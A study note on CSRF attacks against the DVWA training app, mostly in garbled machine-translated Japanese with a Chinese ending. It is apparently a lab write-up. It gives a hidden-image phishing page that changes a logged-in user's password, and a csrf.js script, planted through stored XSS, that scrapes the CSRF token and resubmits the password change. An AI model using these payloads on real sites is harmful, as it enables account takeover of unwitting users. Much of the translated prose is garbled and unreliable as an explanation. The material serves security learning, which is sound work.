Webセキュリティテストの研究ノート - CSRF攻撃

CSRF（クロスサイトリクエストフォージェリ）、クロスサイトリクエストフォージェリ、それが攻撃の目的を達成するように、サーバーへのリクエストを開始したユーザーの名前で、原則として、簡単なCSRF攻撃です。違いはXSSと、XSSは、ユーザーのクッキー（そのサーバーがユーザー自身の操作で考慮される）と直接CSRFながら、ユーザーのクッキーを盗むためにということです。

CSRFする方法を理解するための簡単な演習とDVWA。

ローモード（フィッシングページ）

開き、仮想マシンが攻撃に利用者A、DVWAユーザーがログオンをシミュレートし、現在のユーザーのパスワードでログインを変更するために使用されたCSRFのページへ、セキュリティレベル=ローに設定されています。パスワードを変更するには（〜プレーンテキストのパスワード要求を気にして得ることはありません）限り、新しいパスワードのGETリクエストパラメータとローモードで要求を発行しています。

http：//主机IP：？8081 /脆弱性/ CSRF / password_new = 789＆password_conf = 789＆変更=変更

Bの攻撃者は、ページをフィッシングシンプルに作られた、次のように読み取ります。

<IMG SRC = "のhttp：//主机IP：8081 /脆弱性/ CSRF / password_new = 789＆password_conf = 789＆変更=変更？"スタイル= "表示：なし;" /> 
<H1> 404 <H1> 
<H2>ファイルが見つかりません。<H2>

今Aのパスワードは黙っを取り除くされ、このページを開く必要があります。。Aは、どのようにこのページを開く作るには？例えば、このようなメッセージの内部にリンク：

URLフィッシングページがある：HTTP：// testhost：8082 / error.html

攻撃サイトであれば、この時点で単なる記号、および次のページAを参照してください、リンクを開く]をポイントし、A開き、無効なページは、実際には、この時間のパスワードが変更されました。。。

パスワードはどのようにそれが変更されたのですか？プロセスはこれです：

ブラウザがクッキーAのログインを保存する際に攻撃する1. Aのユーザログイン

（ブラウザのログインCookieがあるため、ログオンする必要が）2.Aオープンフィッシングページは、httpパスワード変更要求の内部ページを釣りが実行されません

3.httpのパスワード変更要求がバックエンドで、成功したパスワード変更

私は、これは、クッキーを使用することができ、サイトの別のドメイン名からページをフィッシング理由がそれを攻撃したのはなぜ運動は、ブラウザの相同性戦略を限定されるものではなく、問題になることを期待しますか？実際には、ないクロスドメインクッキーを使用してフィッシングページが、釣りはリンクが直接攻撃サイトの内部リンクああですページです！何のクロスドメインの問題はありません！！

ハイモード（嵌合XSS）

また、仮想マシンのユーザーの攻撃Aをシミュレートし、ユーザーがDVWAをログに記録し、セットのセキュリティレベル=高。

ハイモードパラメータ増加は、ランダムに生成user_token、ならびにチェックリファラー

しかし、ページ要素を表示するには、F12の後、実際には、トークンが隠さ入力内側の先端に配置されました：

私たちは、この隠された入力に値を取得する限り、その後、偽の要求を入れていること、それが攻撃を達成することができます。しかし、ページをフィッシングするときは、同一生成元ポリシーがあるので、隠された入力の値を取得するために使用されるクロスドメインの低いモードにできません - が、それでもXSSの脆弱性を達成することができます

攻撃者は、（：ハイモードで蓄積型XSS攻撃を参照してくださいストレージ型XSSページにログインするために自分のアカウントを使用https://www.cnblogs.com/sallyzhang/p/11951361.html）

csrf.js次のように：

var xhr=new XMLHttpRequest();
xhr.open('get','../csrf');
xhr.send();
var res="";
var token="";
xhr.onreadystatechange = function () {
        if (xhr.readyState == 4 && xhr.status == 200) {
            res = xhr.responseText;
			var regex = /user_token\' value\=\'(.*?)\' \/\>/;
            var match = res.match(regex);
			token=match[1]
			
			var xhr_new=new XMLHttpRequest();
			var new_url='../csrf/?password_new=456&password_conf=456&Change=Change&user_token='+token;
			xhr_new.open('get',new_url)
            xhr_new.send()
        }
    };

当被攻击方登录后访问存储型XSS页面时，密码就已经改了。csrf.js在XSS页面通过像同一个域名的csrf页面发送请求拿到csrf页面的token，再发送修改密码的请求，曲线完成攻击（因为是同一个主域名，不存在跨域问题）

一点点感悟：

1.不要随便点历不明的链接！！！不要随便打开来历不明的网站！！！

2.认真防御每一种高危或常见漏洞，上面的例子说明即使有防御csrf，但在xss漏洞的帮助下，仍然会被攻击

如需转载，请注明出处，这是对他人劳动成果的尊重～

Webセキュリティテストの研究ノート - CSRF攻撃

おすすめ